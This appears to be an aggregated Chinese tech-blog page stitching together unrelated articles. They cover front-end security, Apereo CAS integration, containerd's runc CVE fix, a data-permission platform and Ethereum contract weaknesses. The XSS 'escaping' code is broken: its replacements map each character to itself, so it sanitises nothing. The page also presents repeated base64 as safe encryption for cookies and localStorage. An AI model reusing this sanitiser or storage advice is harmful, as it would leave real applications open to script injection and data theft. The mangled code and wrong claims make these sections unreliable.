通过密钥登录,一般而言密钥登录是不容易被攻破的. ...

前端安全问题及解决办法

一、随着前端的快速发展，各种技术不断更新，但是前端的安全问题也值得我们重视，不要等到项目上线之后才去重视安全问题，到时候被黑客攻击的时候一切都太晚了。二、本文将讲述前端的六大安全问题，是平常比较常见的安全问题，当然如果还有其他必要重要的安全问题大家可以帮忙补充：1、XSS（Cross-Site Scripting）脚本攻击漏洞；2、CSRF（Cross-sit request forgery）漏洞；3、iframe安全隐患问题；4、本地存储数据问题；5、第三方依赖的安全性问题；6.HTTPS加密传输数据；下面将对这些问题进行分享说明。三、XSS（Cross-Site Scripting）脚本攻击漏洞XSS是前端谈论最多的安全问题，是通过在你的输入文本当中或者这HTML标签当中插入js脚本进行攻击，比如会在你的a标签或者img标签之前插入一些脚本文件就能攻击到你的网站，所有在用HTML去切入到div的时候一定要注意，或者长串的字符串嵌入到a标签的时候。解决办法：1：如果要使用HTML进行转换内容的时候，写代码时改为innerText而不用innerHTML，或者把<script><iframe>等标签替换掉； var HtmlUtil = { /1.用浏览器内部转换器实现html转码/ htmlEncode:function (html){ //1.首先动态创建一个容器标签元素，如DIV var temp = document.createElement (“div”); //2.然后将要转换的字符串设置为这个元素的innerText(ie支持)或者textContent(火狐，google支持) (temp.textContent != undefined ) ? (temp.textContent = html) : (temp.innerText = html); //3.最后返回这个元素的innerHTML，即得到经过HTML编码转换的字符串了 var output = temp.innerHTML; temp = null; return output; }, /2.用浏览器内部转换器实现html解码/ htmlDecode:function (text){ //1.首先动态创建一个容器标签元素，如DIV var temp = document.createElement(“div”); //2.然后将要转换的字符串设置为这个元素的innerHTML(ie，火狐，google都支持) temp.innerHTML = text; //3.最后返回这个元素的innerText(ie支持)或者textContent(火狐，google支持)，即得到经过HTML解码的字符串了。 var output = temp.innerText || temp.textContent; temp = null; return output; } };2.对一些切入标签的字符串进行转义：var HtmlUtil = { /1.用正则表达式实现html转码/ htmlEncodeByRegExp:function (str){ var s = “”; if(str.length == 0) return “”; s = str.replace(/&/g,"&"); s = s.replace(/</g,"<"); s = s.replace(/>/g,">"); s = s.replace(/ /g," "); s = s.replace(/'/g,"'"); s = s.replace(/"/g,"""); return s; }, /2.用正则表达式实现html解码/ htmlDecodeByRegExp:function (str){ var s = “”; if(str.length == 0) return “”; s = str.replace(/&/g,"&"); s = s.replace(/</g,"<"); s = s.replace(/>/g,">"); s = s.replace(/ /g," “); s = s.replace(/'/g,”'"); s = s.replace(/"/g,"""); return s; } };四、CSRF（Cross-sit request forgery）漏洞CSRF也称为跨站请求伪造，其实就是对网站中的一些表单提交行为被黑客利用。比如你的网站登录的时候存到cookie的一些个人信息，当你访问黑客的网站有一段相同代码隐藏div，但你点击的时候就会导致你的网站被登出或者被登录，就是在对别的网站就行操作的时候会对你之前访问的网站发送请求。解决办法：1.增加token验证.因为cookie发送请求的时候会自动增加上，但是token却不会，这样就避免了攻击2.Referer验证。页面来源的判断五、iframe安全隐患问题有时候前端页面为了显示别人的网站或者一些组件的时候，就用iframe来引入进来，比如嵌入一些广告等等。但是有些iframe安全性我们无法去评估测试，有时候会携带一些第三方的插件啊，或者嵌入了一下不安全的脚本啊，这些都是值得我们去考虑的。解决办法：1.使用安全的网站进行嵌入；2.在iframe添加一个叫sandbox的属性，浏览器会对iframe内容进行严格的控制，详细了解可以看看相关的API接口文档。六、本地存储数据问题很多开发者为了方便，把一些个人信息不经加密直接存到本地或者cookie，这样是非常不安全的，黑客们可以很容易就拿到用户的信息，所有在放到cookie中的信息或者localStorage里的信息要进行加密，加密可以自己定义一些加密方法或者网上寻找一些加密的插件，或者用base64进行多次加密然后再多次解码，这样就比较安全了。七、第三方依赖安全隐患现如今的项目开发，很多都喜欢用别人写好的框架，为了方便快捷，很快的就搭建起项目，自己写的代码不到20%，过多的用第三方依赖或者插件，一方面会影响性能问题，另一方面第三方的依赖或者插件存在很多安全性问题，也会存在这样那样的漏洞，所以使用起来得谨慎。解决办法：手动去检查那些依赖的安全性问题基本是不可能的，最好是利用一些自动化的工具进行扫描过后再用，比如NSP(Node Security Platform)，Snyk等等。八、HTTPS加密传输数据在浏览器对服务器访问或者请求的过程中，会经过很多的协议或者步骤，当其中的某一步被黑客拦截的时候，如果信息没有加密，就会很容易被盗取。所以接口请求以及网站部署等最好进行HTTPS加密，这样防止被人盗取数据。前端安全问题先分享到这里，后续再慢慢补充，喜欢的可以点关注，谢谢！ ...

统一认证 - Apereo CAS 客户端的集成以及小结

前两篇介绍了Apereo CAS以及服务器端的安装，但还不够完整，服务端还没有Application真正用起来呢！这篇文章将介绍怎么用起来集成的目的客户端我们想要与Apereo CAS做什么集成呢？回顾一下Apereo CAS是做什么的？Apereo CAS的一个功能就是单点登录，统一的登录登出接口与页面，让系统中的模块只需要关注在业务点，而把安全认证的功能交给统一认证来做。所以客户端的集成主要是单点登录的集成，客户端指定需要做安全认证的页面，然后Apereo CAS的安全包检测校验用户登录情况，并自动与CAS登录页面进行跳转交互。客户端的配置Apereo CAS提供了Springboot的包，可以让我们的集成些微方便了那么一丢丢！首先我们创建一个Springboot的application，里面带了Apereo CAS start的依赖<dependency> <groupId>org.springframework.security</groupId> <artifactId>spring-security-cas</artifactId></dependency>同时在application.properties文件里面指定启动的端口 server.port = 9000有了Apereo CAS的包之后，我们就可以进行代码的配置。客户端的配置按照SpringSecurity的安全检验流程进行的:用户尝试打开一个受保护的url，比如/admin/userAuthenticationEntryPoint被触发了，把用户重定向到配置好的CAS登录页面https://localhost:6443/cas用户输入用户名密码，登录成功后， CAS会跳转回application指定的回调url http://localhost:9000/login/cas，并带上ticket作为查询参数CasAuthenticationFilter一直在监听/login/cas这个路径，当发现有请求后，它会触发CasTicketValidator，由CasTickerValidator检验ticket的有效性当ticket也验证成功后，用户将会被跳转回原来请求的受保护url下面代码大致描述了这个过程：@Beanpublic ServiceProperties serviceProperties() { ServiceProperties serviceProperties = new ServiceProperties(); serviceProperties.setService(“http://localhost:9000/login/cas”); serviceProperties.setSendRenew(false); return serviceProperties;} @Bean@Primarypublic AuthenticationEntryPoint authenticationEntryPoint( ServiceProperties sP) { CasAuthenticationEntryPoint entryPoint = new CasAuthenticationEntryPoint(); entryPoint.setLoginUrl(“https://localhost:6443/cas/login”); entryPoint.setServiceProperties(sP); return entryPoint;} @Beanpublic TicketValidator ticketValidator() { return new Cas30ServiceTicketValidator( “https://localhost:6443/cas”);} @Beanpublic CasAuthenticationProvider casAuthenticationProvider() { CasAuthenticationProvider provider = new CasAuthenticationProvider(); provider.setServiceProperties(serviceProperties()); provider.setTicketValidator(ticketValidator()); provider.setUserDetailsService( s -> new User(“casuser”, “Mellon”, true, true, true, true, AuthorityUtils.createAuthorityList(“ROLE_ADMIN”))); provider.setKey(“CAS_PROVIDER_LOCALHOST_9000”); return provider;}@EnableWebSecurity@Configurationpublic class SecurityConfig extends WebSecurityConfigurerAdapter { private AuthenticationProvider authenticationProvider; private AuthenticationEntryPoint authenticationEntryPoint; private SingleSignOutFilter singleSignOutFilter; private LogoutFilter logoutFilter; @Autowired public SecurityConfig(CasAuthenticationProvider casAuthenticationProvider, AuthenticationEntryPoint eP, LogoutFilter lF , SingleSignOutFilter ssF ) { this.authenticationProvider = casAuthenticationProvider; this.authenticationEntryPoint = eP; this.logoutFilter = lF; this.singleSignOutFilter = ssF; } // … @Override protected void configure(AuthenticationManagerBuilder auth) throws Exception { auth.authenticationProvider(authenticationProvider); } @Override protected AuthenticationManager authenticationManager() throws Exception { return new ProviderManager(Arrays.asList(authenticationProvider)); } @Bean public CasAuthenticationFilter casAuthenticationFilter(ServiceProperties sP) throws Exception { CasAuthenticationFilter filter = new CasAuthenticationFilter(); filter.setServiceProperties(sP); filter.setAuthenticationManager(authenticationManager()); return filter; }}下面这个文件配置了application中所有/secured/,login的URL都是受保护资源，都要经过CAS认证过才可以访问：@EnableWebSecurity@Configurationpublic class SecurityConfig extends WebSecurityConfigurerAdapter { @Override protected void configure(HttpSecurity http) throws Exception { http .authorizeRequests() .regexMatchers("/secured.", “/login”) .authenticated() .and() .authorizeRequests() .regexMatchers("/") .permitAll() .and() .httpBasic() .authenticationEntryPoint(authenticationEntryPoint); } // …}服务端Apereo CAS的配置跟所有统一认证平台一样，所有application想要跟CAS做集成的，都需要在CAS配置相应的参数才可以使用。Apereo CAS提供了很多配置的方式，有YML，JSON， MongoDB以及其他（可查官网）。但高度自由的CAS一如既往的，没有提供可视化操作的界面。比如我们采用JSON的方式。首先我们需要通知Apereo CAS我们采用的是JSON的方式，并通知JSON文件的路径在哪里cas.serviceRegistry.initFromJson=truecas.serviceRegistry.config.location=classpath:/services然后我们在这个目录里面，创建一个对应的JSON文件，保存我们的客户端信息，为了方面管理，建议文件名为 application_id.json, 比如"secureApp_9991.json", 内容如下:{ “@class” : “org.apereo.cas.services.RegexRegisteredService”, “serviceId” : “^http://localhost:9000/login/cas”, “name” : “CAS Spring Secured App”, “description”: “This is a Spring App that usses the CAS Server for it’s authentication”, “id” : 19991, “evaluationOrder” : 1}第一次配置从JSON加载客户端配置的话，需要重启Apereo CAS。之后再加新的客户端的话就不用再重启，Apereo CAS会自动监测这个文件夹的变动小结至此我们对于Apereo CAS就有了一个稍微完整一点点的了解，从服务端安装部署，到配置，以及客户端如何集成等。但从这个短时间的学习来看，如果企业已经重度使用了Apereo CAS，那相信它可以很好地服务支撑企业的应用。但如果是新的项目，特别是项目周期比较紧张的项目，并且团队之前没有对统一认证有技术积累的话，不是很建议采用Apereo CAS，这些细微的配置以及无所不在的隐藏功能，会让你给项目经理催死的！后面我会介绍另外一个统一认证的框架，个人感觉能弥补Apereo CAS的短板的 ...

信安导论思维导图分享

信安导论思维导图查看完整思维导图第一章信息安全概述第二章密码学基础第三章物理安全第四章身份认证第五章访问控制第六章网络威胁第七章网络防御

containerd发布了CRI修复程序和CVE-2019-5736更新的runc

欢迎来到containerd的v1.1.6版本！这是containerd 1.1版本的第六个补丁版本。这个发布专门跟新了runc以修复CVE-2019-5736容器逃逸漏洞。几个CRI修复也包括在内此版本并列在下面。运行引擎Update runc to 6635b4f0c6af3810594d2770f662f34ddc15b40d to fix CVE-2019-5736CRIcontainerd/cri#984 filter events for non k8s.io namespaces (resolves firecracker-microvm/firecracker-containerd#35)containerd/cri#991 Remove container lifecycle image dependency (fixes containerd/cri#990)containerd/cri#1016 Specify platform for image pull (fixes containerd/cri#1015)containerd/cri#1027 Fix the log ending newline handling (fixes containerd/cri#1026)containerd/cri#1042 Set /etc/hostname (fixes containerd/cri#1041)containerd/cri#1045 Fix env performance issue (fixes containerd/cri#1044)Update cri to f0b5665a959119b6a6234001e6d55206d9200e95Please try out the release binaries and report any issues at https://github.com/containerd…贡献者Lantao LiuPhil EstesMichael CrosbySebastiaan van StijnAkihiro SudaDerek McGowanLifubangMike BrownWei FuAce-TangMike Browncontainerd项目获得核心基础结构计划（CII）的最佳实践徽章：KubeCon + CloudNativeCon中国论坛提案征集（CFP）2月22日截止KubeCon + CloudNativeCon 论坛让用户、开发人员、从业人员汇聚一堂，面对面进行交流合作。与会人员有 Kubernetes、Prometheus 及其他云原生计算基金会 (CNCF) 主办项目的领导，和我们一同探讨云原生生态系统发展方向。Open Source Summit中国提案征集（CFP）2月22日截止在Open Source Summit中国，与会者将共同合作及共享信息，了解最新和最有趣的开源技术，包括Linux、IoT、区块链、AI、网络等；并获得如何在开源社区中导向和引领的信息。大会日期：提案征集截止日期：太平洋标准时间 2 月 22 日，星期五，晚上 11:59提案征集通知日期：2019 年 4 月 8 日会议日程通告日期：2019 年 4 月 10 日会议活动举办日期：2019 年 6 月 24 至 26 日提醒：这是一场社区会议。因此，让我们尽量避开公然推销产品和/或供应商销售宣传。KubeCon + CloudNativeCon和Open Source Summit赞助方案出炉KubeCon + CloudNativeCon和Open Source Summit多元化奖学金现正接受申请KubeCon + CloudNativeCon和Open Source Summit即将首次合体落地中国 ...

将军令：数据安全平台建设实践

背景在大数据时代，数据已经成为公司的核心竞争力。此前，我们介绍了美团酒旅起源数据治理平台的建设与实践，主要是通过各种数据分析挖掘手段，为公司发展决策和业务开展提供数据支持。近期，业内数据安全事件频发，给相关企业造成了无可挽回的损失，更为数据安全防护意识薄弱的企业敲响了警钟。如何对公司内部数据最为集中的数据分析、数据服务、数据治理等各种数据类产品进行权限管控，已经成为数据安全建设中最为重要的任务。如果从控制力的角度来进行划分的话，权限管控可以分为功能级权限管控和数据级权限管控。早期的数据安全产品大多使用传统的权限模型，只能实现功能级权限管控，无法进行数据级权限管控。基于数据类产品更高的安全要求，我们需要构建一个同时满足各类产品数据安全的我们需要构建一个同时满足各类产品数据安全的平台。为此，美团用户平台应用研发组不仅设计了能表达和管控各种复杂关系的权限模型，还针对事前、事中、事后等三个场景，分别设计了审批、权限、审计三个子系统以保障数据安全的完整闭环，进而满足数据安全的各种要求。功能应用类产品的权限表达，一般为“是否有权限”，而数据类产品权限表达的关系更加复杂。例如数据类产品的报表，不仅需要表达出用户能否访问这个报表，而且需要表达出用户能访问报表中的哪些维度、指标以及维值的范围。还需要告知这些维度指标来自于哪些库表模型，是否有权限访问以及创建报表。权限模型传统的权限模型有ACL（Access Control List）访问控制列表，RBAC（Role-Based Access Control）基于角色的访问控制等。以上模型比较适用于应用类型产品的权限管控，而数据类型的产品对信息安全的要求更高，而且各类资源间的关系也更复杂，使用传统的模型难以将内部关系进行清晰的表达，所以我们在RBAC权限模型的基础上，扩展设计了新的权限模型。如图2所示，传统的权限模型：ACL访问控制列表，用户与权限直接关联，直接维护用户与列表中资源的关系从而达到权限管控的目的。RBAC模型则是角色与权限进行关联，用户成为相应的角色而获得对应的权限。为什么要设计新的权限模型？ACL模型是用户与资源直接建立关系，没有角色的概念。当某些用户需要一批同样资源的权限时，赋权操作就变得很复杂，此时这种模型就不太适应了。RBAC模型引入了角色的概念，角色与资源建立关系。当某些用户需要一批同样资源的权限时，只需要构建一个角色并赋予使用这批资源的权限。当用户加入这个角色时，则拥有该角色的所有权限。解决了赋权操作复杂的问题。不过ACL模型和RBAC模型，都存在以下几个问题：数据类产品资源之间关系复杂，不能很好地表达这种复杂的关系。例如：一个报表下有多个标签页，一个标签页下有多个组件，一个组件下有多个维度、指标等。同时维度、指标又来自不同的数据模型、库表等。资源与资源之间存在关系，当管理员给一个用户赋予报表的全部或部分权限时，报表下的子资源需要同时获得对应的权限。RBAC模型中角色与角色之间没有对应的关系。例如：组织架构中，员工所在的组织架构如下：华东区/销售一区/销售一组，员工拥有的角色是销售一组的角色。当角色之间没有关系时，员工如果需要华东区角色的权限时，需要添加到华东区的角色中。而如果角色与角色之间具有从属关系时，则能很好地解决这个问题。新的权限模型是如何解决上面这些问题的：设计资源模型时，资源与资源之间具有从属关系，并且资源允许多层级，以树形结构展示。例如报表是一个父资源，标签、组件、维度指标都是报表下的子资源，这样赋权时能清晰地展示出报表资源与下面的子资源的关系，赋权和鉴权时才能满足各种权限控制的要求。角色与角色之间具有从属关系，例如员工在华东区/销售一区/销售一组的组织架构中，华东区/销售一区/销售一组这3个角色之间分别具有父子级的从属关系，当员工在销售一组部门下，则拥有华东区、销售一区、销售一组的所有权限。当权限不冲突时则直接合并所有权限，冲突时则以“就近原则”进行覆盖。如图3所示，新的权限模型包含3个部分，用户中心、资源中心、权限中心。用户中心：用户管理、角色管理角色分为个人、组织、自定义3种，一个用户可以同时拥有多个角色，比如用户默认对应一个个人角色，又可同时拥有在公司组织架构中组织角色、在自定义组织的自定义角色。角色支持多层级，满足角色间权限继承的表达方式。用户、部门信息Mafka（美团基于Kafka开发的一个分布式消息中间件综合解决方案）实时更新，每天ETL定时同步，保证人员入职、转岗、调离权限实时同步。资源中心：资源管理资源类型支持自定义，在通用资源类型的基础上支持自定义的资源接入，满足各个系统不同资源的统一管控。资源支持多层级，树形结构的资源展示方式便于资源的统一赋权鉴权；给一个报表资源赋权时，挂在报表下的维度、指标等资源能统一获得权限。支持资源打包简化赋权流程。资源安全密级、资源负责人，支持按照资源配置不同的审批模板进行权限自助申请。权限中心：角色与资源的关系的多种策略表达范围策略：例如报表中的平台维度的维值包括美团和大众点评，赋权时，支持按要求给用户赋予部分或全部权限；鉴权时，按照规则解析为某人拥有某维度的部分或全部权限。表达式策略：当把报表给用户赋权时，设置表达式为limit 10，表示当前用户在该报表其他权限的基础上再进行限制，只能返回前10条记录。权限自动合并：一个用户拥有多个角色，多角色的同一资源的权限鉴权时按照规则自动合并；规则解析时，权限数据不冲突时取合集，冲突时按照优先级取对应的值。黑白名单：支持按照特定的规则，对某人针对某资源全面开发和封禁，黑白名单策略的优先级最高，其中黑名单高于白名单。挑战在建设数据安全平台的过程中，主要面临以下几点挑战：随着支持的业务线增加，通用平台的不能满足各个业务线的定制需求时，需要保证系统的灵活可扩展。提供一个通用的数据安全平台，满足大部分的数据安全的要求，保证系统的通用性。权限系统作为一个高QPS访问的系统，如何保证系统的高可用。解决思路提供灵活可插拔的Plugin服务，在通用权限基础上，满足各个业务线灵活的权限管控要求。提供一个通用的数据安全平台，满足基本的权限、审批、审计的基础功能。微服务架构、核心与非核心服务分离、数据缓存降级满足系统高可用。解决方案如图7所示，将军令分3块，数据内容权限平台、审批流平台、审计日志平台：提供各种灵活可插拔的Plugin服务，支持在通用服务的基础基础上进行定制开发。提供基础服务，满足各种通用的数据安全要求。提供管理工作台，支持管理员对各种数据和规则进行页面管理和配置。具体方案Plugin服务层，保证系统灵活可扩展在满足通用权限的基础上，各个业务线难免会有定制的权限管控需求，于是设计了权限Plugin模块。通用服务提供用户管理、资源管理、鉴权授权的服务，Plugin调用基础服务实现特殊的权限管控。Plugin模块的应用和数据各自单独管理，通过RPC方式调用通用服务实现灵活可插拔。后续Plugin模块的服务支持各个接入的应用单独定制开发。如图8所示，通用权限的服务与Plugin的服务是分离的，支持多个Plugin服务灵活可插拔：通用服务提供用户、资源、鉴权授权等通用服务，大部分的系统基于通用服务即可实现权限管控要求。Plugin服务基于通用服务对外提供的SDK进行拓展，各个Plugin服务单独部署，保证系统之间互相独立。最终的权限实现分层管控，分为核心数据层（用户、资源、权限数据）和应用层。核心数据层的数据由通用服务进行管理，达到权限数据统一管控的要求。应用层以Plugin服务方式接入，Plugin通过通用服务层对外的SDK进行权限数据读写，达到定制的管控要求。应用层的数据各自存储，可以自定义管控规则。接口之间的调用通过BA认证鉴权，保证服务之间调用的安全性。基础服务层，保证系统通用性通用权限系统架构使用微服务架构设计，系统分为接入层、服务层、数据库层、以及外部服务层。主要包含以下几个核心服务：用户服务：主要包含用户和部门信息同步、角色管理。资源服务：包含资源注册、资源定时同步、资源密级及管理员管理、资源包管理。赋权服务：权限自助申请、管理员赋权。鉴权服务：提供各种鉴权的SDK供使用方调用。如图9所示：接入层：对外所有系统通过统一的SDK调用服务。服务层：微服务架构，各个服务之间互相之间提供服务。数据库层：合理利用缓存、数据降级，保证服务高可用。集成公司公共服务，保证系统稳健运行。审批系统架构提供通用的审批服务，提供多级审批模板，使用时选择模板启动审批流，审批系统按照启动的参数进行规则解析，自动适配对应的审批流程。缩减接入流程支持一键接入。如图10所示：优化审批接入流程，提供通用的审批服务，减少系统接入开发成本：前期开发一个审批功能需要6个步骤，绘制流程图，配置审批的组和成员，配置通知的消息，配置事件映射，启动审批流，开发回调接口改状态。而我们在平台的审批服务基础上进行封装，提供通用的审批模板，接入审批系统只需要选择模板启动审批流，并提供回调接口即可。能满足大部分的审批功能。提供通用的规则解析引擎，支持审批人、审批条件、审批通知按照规则动态解析匹配。灵活实现自动审批、多人多级审批、定时催办等多种通用功能。对接权限和审计系统，保证审批系统数据安全：对接权限系统，提供管理员权限管控。对接审计系统，操作数据落到审计系统便于后续的数据审计。审计系统架构提供通用的数据审计服务，客户端日志埋点上报，审计日志按类型落到Elasticsearch中存储。对接如意可视化报表出审计报告，对接权限系统管控数据权限。如图11所示：审计数据模型层支持自动扩展：每个应用对应一个appkey，每个appkey按照模板分日期自动创建一个索引，支持自动扩展。每种类型的审计日志对应Elasticsearch索引中的一个type，新增一种操作日志时，type自动创建。审计日志中的字段对应type中的字段，新增字段时自动扩展。保证系统高可用微服务架构服务分离随着系统的模块功能越来越多，单一架构模式已不再适合敏捷开发，模块越来越大系统启动则越慢，任一模块出错则整个系统的服务都不可用。为了保证服务的高可用和扩展性，于是以微服务架构把模块进行拆分，并把核心与非核心服务进行分离。如图12所示：前端接入层通过HTTP接入，BA认证校验请求合法性，通过Nginx负载均衡。管理控制台，通过调用服务层的各个服务实现统一管理。服务层，抽象系统各个模块，每个模块都是一个微服务，每一个微服务都独立部署，可以根据每个服务的规模按需部署。Client层，对外提供统一的Pigeon（美团内部分布式服务RPC通信框架）接口，通过POM引入调用服务层各个服务。权限继承由于资源支持多层级，设计权限模型时支持权限继承，当赋权时开启继承，则用户默认拥有该资源以及下面所有资源的全部权限，数据存储时只需要存储祖先资源与用户之间的关系。大大减少了权限矩阵大小。权限数据存储接入的系统越多，则资源和用户就越多。随着系统运行越久，对应的权限数据也会随之快速增长。如何在数据增长的同时保证接口的性能和高可用。权限备份与恢复参照HBase的版本号和MySQL的Binlog的设计思路，赋权时权限只存储当前用户最新权限数据，历史权限数据和操作记录用版本号的方式存储到Elasticsearch中。用户鉴权时只需要查询MySQL的权限数据即可，保证鉴权接口的高效性。如图14所示：赋权操作时，通过版本号管理权限数据，每次操作后版本号加1，MySQL和Redis中只存储最新的权限数据。历史权限数据通过版本号的方式存储到Elasticsearch中，每次查看历史操作记录或恢复权限数据时，根据版本号回溯即可。权限过期清理通过Crane定时调度，根据配置的通知规则，扫描即将过期的权限数据，发送消息通知用户进行权限续期。扫描已过期的权限数据，清理MySQL和Redis中的过期权限数据，并转储到Elasticsearch中保存，已备后续的权限审计。数据读写分离、缓存、备份以及服务熔断降级各个服务使用MySQL分库存储，使用Zebra（美团数据库访问层中间件）进行读写分离；合理使用数据缓存与备份，并支持服务的熔断降级，以保证服务的高可用。如图15所示：各个服务使用MySQL分库存储；核心服务与非核心服务分离，服务和数据库支持按需弹性拓展。角色、资源等热点数据使用Redis做缓存，并在Redis缓存不可用时自动下沉到MySQL进行查询。操作记录和历史数据等不活跃数据落地到Elasticsearch，以便审计和数据恢复。服务不可用时支持熔断降级，以保证核心服务的可用性。合理使用消息队列、任务调度、线程池、分布式锁使用消息队列、任务调度、线程池进行异步、削峰、解耦合，减少服务响应时间，提升用户体验。并使用分布式锁保证数据一致性。如图16所示：使用消息队列处理用户请求，实时返回操作成功，后台根据接受到的MQ消息异步进行处理并修改状态，页面轮询状态展示最终结果或发送大象（美团内部通讯工具）消息进行最终结果推送。需要定时同步的任务通过Crane分布式任务调度平台进行定时调度执行。审批回调时使用线程池处理审批结果回调与失败重试，较少创建销毁线程的开销。分布式锁，保证同一个方法在同一操作上只能被一台机器上的一个线程执行，避免用户重复提交或者多机器重复处理导致的数据不一致。展望作为一个通用的数据安全平台，各个业务线的各种定制需求不可能都满足。目前在系统架构上已支持提供多个可插拔的Plugin服务，在通用服务的基础上实现定制的权限管控。后续将军令将针对权限、审批、审计提供Plugin开发规范，支持接入的系统在现有的基础上进行定制开发。如图17所示：后续将对外提供统一的Plugin开发规范，支持各个接入方系统以Plugin服务的形式在平台基础服务之上进行定制开发，以满足各自的特殊权限管控要求。从而实现数据产品权限集中管控确保数据安全。把将军令中的规则从现有的服务中分离出来，抽象出一个通用的规则引擎服务，实现规则灵活可配置。作者简介夷山，美团点评技术专家，现任TechClub-Java俱乐部主席，2006年毕业于武汉大学，先后就职于IBM、用友、风行以及阿里。2014年加入美团，长期致力于BI工具、数据安全与数据质量工作等方向。中华，美团点评数据系统研发工程师，2017年加入美团点评数据中心，长期从事于BI工具、数据安全相关工作。招聘信息最后插播一个招聘广告，有对数据产品工具开发感兴趣的可以发邮件给 fuyishan#meituan.com。我们是一群擅长大数据领域数据工具，数据治理，智能数据应用架构设计及产品研发的工程师。欢迎加入美团大数据技术交流群，跟作者零距离交流。进群方式：请加美美同学微信（微信号：MTDPtech02），回复：数据安全，美美会自动拉你进群。

以太坊合约的安全性弱点，你都绕开了吗 III

新年前，我们最后来谈一谈以太坊安全性的特点。不可能修改的bug当合约公开在区块链上之后，它就不能去修改了。相应的，合约中出现的任何 bug 也没有机会改正。如果希望能够修改bug，合约编写者就需要在编写合约的时候预留一些用来修改或终止合约的代码。但预留修改后门这一方式具有争议，因为在以太坊的愿景中，智能合约一旦部署，其设定就应当是不可更改的。正式因为 bug 不可修改，可能会导致一些很严重的攻击事件没有弥补的方法。DAO 攻击是唯一的例外。以太坊使用了一个硬分叉解决了这一问题。但这种做法没有得到整个社区的赞同，因为它违背了“代码即法则”这一准则。调用栈大小限制每次合约调用另一个合约的时候，调用栈就会增加一个 frame. 上限是 1024 个。当这一上限达到的时候，下一次调用会触发一个异常。如果攻击者先将自己的调用栈离填满只差一个 frame，然后去调用受害者合约的函数，那么受害者函数执行中任何调用将会导致执行失败。如果受害者函数没有正确的处理执行成功与否，将可能导致意料之外的结果。在文章后续部分，我们将以一个例子说明这一点。为了解决这一问题，在一次以太坊升级中，规定了每次通过 call 或 delegatecall 调用合约函数时，只能为被调用函数分配最多 63/64 的剩余 gas. 而以太坊中每个区块最多只能包含约 470 万的 gas。也就是说，如果调用者最初投入了数量为 a 的 gas, 在 10 层递归调用后，最内层的函数最多只有 (63/64)^10*a 的 gas. 因此，调用深度不可能超过 1024. 后面的攻击案例中，假设还没有这一修补方案。时间约束大量的应用使用时间约束来决定某些行为什么时候被允许。比如在一个 ERC 20 合约中，从某个时刻开始，允许用户使用 ether 购买一个 token.在智能合约的执行过程中，当前时间取自给定交易所在区块的区块时间戳。所以，一个区块中的所有交易在执行时使用的是相同的时间戳。这一设定保证了智能合约在每个矿工那里的执行结果是一致的。但这个设定也可能导致一些攻击，因为矿工在选择时间戳的时候有一定的自主权，这可能为一些攻击埋下了后门。GovernMental 合约的攻击GovernMental 是一个“庞氏骗局游戏”型合约。严格来说，其实不能叫骗啦，因为庞氏骗局的规则被公开地写在合约里。在这个合约中，每个人通过向合约中转一笔钱来加入这个庞氏骗局游戏。合约通过两个数组记录参与者的地址和每个参与者转入的钱的数量。如果最后一个人加入后 12 小时后都没有下一个人加入，那么最后一个人就可以获得全部的收益。（这个设定是不是有点像著名的 Fomo3D，值得注意的是，Fomo3D 的出现晚于这篇论文呦。）下面是一个简化版的 GovernMental 合约在这个合约中，参与者可以通过 invest() 函数来投入 ether 并加入这个游戏。合约维护一个名为 jackpot的变量，表示如果后续没有人加入，赢家将拿走多少 ether. 新来的参与者必须投入多于 jackpot 一半的 ether, 同时，新来的参与者投入的 ether 中，会有一半被加入 jackpot. 如果连续一分钟没有人新来的参与者，最后一个人获得 jackpot 中的 ether，同时合约拥有者拿走剩下的钱（留下 1 个 ether 作为下一轮的启动资金）。需要注意的是，这里并没有检查最后分钱的时候，通过 send() 函数进行的转账是否成功。这个简化版的合约有几个点可供被攻击。攻击一这个攻击来自合约拥有者自身，目的是让本来的游戏赢家无法拿到钱。合约拥有者利用 send() 函数的异常处理和调用栈大小限制进行攻击。攻击的方式是，通过预先进行大量的递归调用，导致执行 resetInvestment() 时，调用栈达到了大小上限，无法再执行给游戏赢家和合约拥有者的 send() 函数。合约拥有者和游戏赢家都拿不到钱，钱依然留在合约中，但之后重置合约状态的代码会照常执行。只要再进行一轮正常的游戏，合约拥有者就可以将本该属于上一轮游戏赢家的钱收入囊中。攻击二这一攻击方式来自矿工。矿工可以通过拒绝打包其他人与 GovernMental 合约的交易，来使自己希望的人成为合约游戏的赢家。更多地，进行攻击的矿工在打包区块时可以任意决定交易顺序，来影响这个区块过后谁是 lastInvestor.之前也提到过，每一个新参与者需要投入的 ether 数量不能低于合约中 jackpot 中 ether 数量的一半。而一个人在发起交易的时候看到的 jackpot 数值，与它的交易被执行时 jackpot 的数值可能是不一样的。这就导致这个人可能发起交易时以为自己投入的 ether 数量是符合要求的。但是执行时，由于 jackpot 数值的改变，变成了一笔无效交易。这就是上篇文章中提过的不可预测状态问题。另外，矿工拥有决定区块时间戳的权利。而合约在执行时，判定 resetInvestment 是否可以执行，就是读取矿工决定的区块时间戳。通过影响区块时间戳，也可以影响游戏结果。结语通过这几期对参考文献 [1] 的学习，我们看到了一些以太坊 Solidity 合约中设计的弱点。虽然这些弱点称不上是漏洞，但是如果在编写合约时，对这些点不了解，没有充分考虑，就可能写出有安全问题的合约出来。参考文献：[1] Atzei, Nicola, Massimo Bartoletti, and Tiziana Cimoli. “A survey of attacks on ethereum smart contracts (sok).” Principles of Security and Trust. Springer, Berlin, Heidelberg, 2017. 164-186.–Conflux 是致力于打造下一代高性能的 DAPP 公链平台欢迎关注我们的微信公众号：Conflux中文社区(Conflux-Chain)添加微信群管理员 Confluxgroup 回复“加群”加入 Conflux官方交流群 ...

优酷IPv6改造纪实：视频行业首家拥抱下一代网络技术

